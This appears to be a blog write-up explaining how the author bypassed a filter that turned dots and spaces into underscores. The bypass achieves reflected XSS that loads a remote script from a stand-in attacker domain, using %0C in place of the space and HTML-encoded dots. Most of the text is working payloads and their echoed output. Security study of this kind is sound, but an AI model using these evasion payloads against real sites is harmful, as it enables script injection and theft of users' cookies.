XSS Without Dots
A site that I discovered was echoing everything on the query string and POST data into a <div> tag.
e.g. example.php?monkey=banana gave
<div>
monkey => banana
</div>I’m guessing this was for debugging reasons. So an easy XSS with
example.php?<script>alert(1)</script> gave
<div>
<script>alert(1)</script>
</div>So I thought rather than just echoing 1 or xss I’d output the current cookie as a simple POC.
However, things weren’t as they seemed:
example.php?<script>alert(document.cookie)</script> gave
<div>
<script>alert(document_cookie)</script>
</div>Underscore!? Oh well, I’ll just use an accessor to access the property:
example.php?<script>alert(document['cookie'])</script>. Nope:
<div>
<script>alert(document[
</div>So thought the answer was to host the script on a remote domain:
example.php?<script src="//attacker-site.co.uk/sc.js"></script>:
<div>
<script_src="//attacker-site_co_uk/sc_js"></script>
</div>Doh! Two problems….
A quick Google gave the answer to use %0C for the space:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
And then to get the dots, we can simply HTML encode them as we are in an HTML context:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
which percent encoded is of course
example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>
And this delivered the goods:
<div>
<script src="//attacker-site.co.uk/sc.js"></script>
</div>which the browser reads as
<script src="//attacker-site.co.uk/sc.js"></script>And dutifully delivers our message box:
